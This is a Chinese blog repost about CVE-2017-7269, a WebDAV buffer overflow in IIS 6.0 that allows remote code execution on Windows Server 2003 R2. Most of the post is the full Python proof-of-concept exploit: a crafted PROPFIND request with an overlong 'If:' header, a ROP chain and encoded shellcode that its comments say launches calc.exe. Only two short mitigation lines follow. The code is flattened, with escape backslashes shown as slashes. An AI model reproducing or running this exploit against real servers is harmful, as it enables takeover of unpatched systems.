iisS 6.0 远程代码执行0day (附PoC)

  • A+
所属分类:颓废's Blog
摘要

https://github.com/edwardz246003/IIS_exploit/


漏洞描述


漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次
漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以“If: <http://”开始的较长header头的PROPFIND请求执行任意代码。

PoC(来源网络github.com/edwardz246003/IIS_exploit/blob/master/exploit.py)


#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous. #written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China  #-----------Email: [email protected] import socket   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   sock.connect(('127.0.0.1',80))   pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: 0/r/n' pay+='If: <http://localhost/aaaaaaa' pay+='/xe6/xbd/xa8/xe7/xa1/xa3/xe7/x9d/xa1/xe7/x84/xb3/xe6/xa4/xb6/xe4/x9d/xb2/xe7/xa8/xb9/xe4/xad/xb7/xe4/xbd/xb0/xe7/x95/x93/xe7/xa9/x8f/xe4/xa1/xa8/xe5/x99/xa3/xe6/xb5/x94/xe6/xa1/x85/xe3/xa5/x93/xe5/x81/xac/xe5/x95/xa7/xe6/x9d/xa3/xe3/x8d/xa4/xe4/x98/xb0/xe7/xa1/x85/xe6/xa5/x92/xe5/x90/xb1/xe4/xb1/x98/xe6/xa9/x91/xe7/x89/x81/xe4/x88/xb1/xe7/x80/xb5/xe5/xa1/x90/xe3/x99/xa4/xe6/xb1/x87/xe3/x94/xb9/xe5/x91/xaa/xe5/x80/xb4/xe5/x91/x83/xe7/x9d/x92/xe5/x81/xa1/xe3/x88/xb2/xe6/xb5/x8b/xe6/xb0/xb4/xe3/x89/x87/xe6/x89/x81/xe3/x9d/x8d/xe5/x85/xa1/xe5/xa1/xa2/xe4/x9d/xb3/xe5/x89/x90/xe3/x99/xb0/xe7/x95/x84/xe6/xa1/xaa/xe3/x8d/xb4/xe4/xb9/x8a/xe7/xa1/xab/xe4/xa5/xb6/xe4/xb9/xb3/xe4/xb1/xaa/xe5/x9d/xba/xe6/xbd/xb1/xe5/xa1/x8a/xe3/x88/xb0/xe3/x9d/xae/xe4/xad/x89/xe5/x89/x8d/xe4/xa1/xa3/xe6/xbd/x8c/xe7/x95/x96/xe7/x95/xb5/xe6/x99/xaf/xe7/x99/xa8/xe4/x91/x8d/xe5/x81/xb0/xe7/xa8/xb6/xe6/x89/x8b/xe6/x95/x97/xe7/x95/x90/xe6/xa9/xb2/xe7/xa9/xab/xe7/x9d/xa2/xe7/x99/x98/xe6/x89/x88/xe6/x94/xb1/xe3/x81/x94/xe6/xb1/xb9/xe5/x81/x8a/xe5/x91/xa2/xe5/x80/xb3/xe3/x95/xb7/xe6/xa9/xb7/xe4/x85/x84/xe3/x8c/xb4/xe6/x91/xb6/xe4/xb5/x86/xe5/x99/x94/xe4/x9d/xac/xe6/x95/x83/xe7/x98/xb2/xe7/x89/xb8/xe5/x9d/xa9/xe4/x8c/xb8/xe6/x89/xb2/xe5/xa8/xb0/xe5/xa4/xb8/xe5/x91/x88/xc8/x82/xc8/x82/xe1/x8b/x80/xe6/xa0/x83/xe6/xb1/x84/xe5/x89/x96/xe4/xac/xb7/xe6/xb1/xad/xe4/xbd/x98/xe5/xa1/x9a/xe7/xa5/x90/xe4/xa5/xaa/xe5/xa1/x8f/xe4/xa9/x92/xe4/x85/x90/xe6/x99/x8d/xe1/x8f/x80/xe6/xa0/x83/xe4/xa0/xb4/xe6/x94/xb1/xe6/xbd/x83/xe6/xb9/xa6/xe7/x91/x81/xe4/x8d/xac/xe1/x8f/x80/xe6/xa0/x83/xe5/x8d/x83/xe6/xa9/x81/xe7/x81/x92/xe3/x8c/xb0/xe5/xa1/xa6/xe4/x89/x8c/xe7/x81/x8b/xe6/x8d/x86/xe5/x85/xb3/xe7/xa5/x81/xe7/xa9/x90/xe4/xa9/xac' pay+='>' pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb' pay+='/xe7/xa5/x88/xe6/x85/xb5/xe4/xbd/x83/xe6/xbd/xa7/xe6/xad/xaf/xe4/xa1/x85/xe3/x99/x86/xe6/x9d/xb5/xe4/x90/xb3/xe3/xa1/xb1/xe5/x9d/xa5/xe5/xa9/xa2/xe5/x90/xb5/xe5/x99/xa1/xe6/xa5/x92/xe6/xa9/x93/xe5/x85/x97/xe3/xa1/x8e/xe5/xa5/x88/xe6/x8d/x95/xe4/xa5/xb1/xe4/x8d/xa4/xe6/x91/xb2/xe3/x91/xa8/xe4/x9d/x98/xe7/x85/xb9/xe3/x8d/xab/xe6/xad/x95/xe6/xb5/x88/xe5/x81/x8f/xe7/xa9/x86/xe3/x91/xb1/xe6/xbd/x94/xe7/x91/x83/xe5/xa5/x96/xe6/xbd/xaf/xe7/x8d/x81/xe3/x91/x97/xe6/x85/xa8/xe7/xa9/xb2/xe3/x9d/x85/xe4/xb5/x89/xe5/x9d/x8e/xe5/x91/x88/xe4/xb0/xb8/xe3/x99/xba/xe3/x95/xb2/xe6/x89/xa6/xe6/xb9/x83/xe4/xa1/xad/xe3/x95/x88/xe6/x85/xb7/xe4/xb5/x9a/xe6/x85/xb4/xe4/x84/xb3/xe4/x8d/xa5/xe5/x89/xb2/xe6/xb5/xa9/xe3/x99/xb1/xe4/xb9/xa4/xe6/xb8/xb9/xe6/x8d/x93/xe6/xad/xa4/xe5/x85/x86/xe4/xbc/xb0/xe7/xa1/xaf/xe7/x89/x93/xe6/x9d/x90/xe4/x95/x93/xe7/xa9/xa3/xe7/x84/xb9/xe4/xbd/x93/xe4/x91/x96/xe6/xbc/xb6/xe7/x8d/xb9/xe6/xa1/xb7/xe7/xa9/x96/xe6/x85/x8a/xe3/xa5/x85/xe3/x98/xb9/xe6/xb0/xb9/xe4/x94/xb1/xe3/x91/xb2/xe5/x8d/xa5/xe5/xa1/x8a/xe4/x91/x8e/xe7/xa9/x84/xe6/xb0/xb5/xe5/xa9/x96/xe6/x89/x81/xe6/xb9/xb2/xe6/x98/xb1/xe5/xa5/x99/xe5/x90/xb3/xe3/x85/x82/xe5/xa1/xa5/xe5/xa5/x81/xe7/x85/x90/xe3/x80/xb6/xe5/x9d/xb7/xe4/x91/x97/xe5/x8d/xa1/xe1/x8f/x80/xe6/xa0/x83/xe6/xb9/x8f/xe6/xa0/x80/xe6/xb9/x8f/xe6/xa0/x80/xe4/x89/x87/xe7/x99/xaa/xe1/x8f/x80/xe6/xa0/x83/xe4/x89/x97/xe4/xbd/xb4/xe5/xa5/x87/xe5/x88/xb4/xe4/xad/xa6/xe4/xad/x82/xe7/x91/xa4/xe7/xa1/xaf/xe6/x82/x82/xe6/xa0/x81/xe5/x84/xb5/xe7/x89/xba/xe7/x91/xba/xe4/xb5/x87/xe4/x91/x99/xe5/x9d/x97/xeb/x84/x93/xe6/xa0/x80/xe3/x85/xb6/xe6/xb9/xaf/xe2/x93/xa3/xe6/xa0/x81/xe1/x91/xa0/xe6/xa0/x83/xcc/x80/xe7/xbf/xbe/xef/xbf/xbf/xef/xbf/xbf/xe1/x8f/x80/xe6/xa0/x83/xd1/xae/xe6/xa0/x83/xe7/x85/xae/xe7/x91/xb0/xe1/x90/xb4/xe6/xa0/x83/xe2/xa7/xa7/xe6/xa0/x81/xe9/x8e/x91/xe6/xa0/x80/xe3/xa4/xb1/xe6/x99/xae/xe4/xa5/x95/xe3/x81/x92/xe5/x91/xab/xe7/x99/xab/xe7/x89/x8a/xe7/xa5/xa1/xe1/x90/x9c/xe6/xa0/x83/xe6/xb8/x85/xe6/xa0/x80/xe7/x9c/xb2/xe7/xa5/xa8/xe4/xb5/xa9/xe3/x99/xac/xe4/x91/xa8/xe4/xb5/xb0/xe8/x89/x86/xe6/xa0/x80/xe4/xa1/xb7/xe3/x89/x93/xe1/xb6/xaa/xe6/xa0/x82/xe6/xbd/xaa/xe4/x8c/xb5/xe1/x8f/xb8/xe6/xa0/x83/xe2/xa7/xa7/xe6/xa0/x81' shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA' pay+=shellcode pay+='>/r/n/r/n' print pay sock.send(pay)   data = sock.recv(80960)   print data  sock.close

验证截图
iisS 6.0 远程代码执行0day (附PoC)

临时解决办法


1.关闭WebDAV服务
2.使用相关防护设备

参考


https://github.com/edwardz246003/IIS_exploit/

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: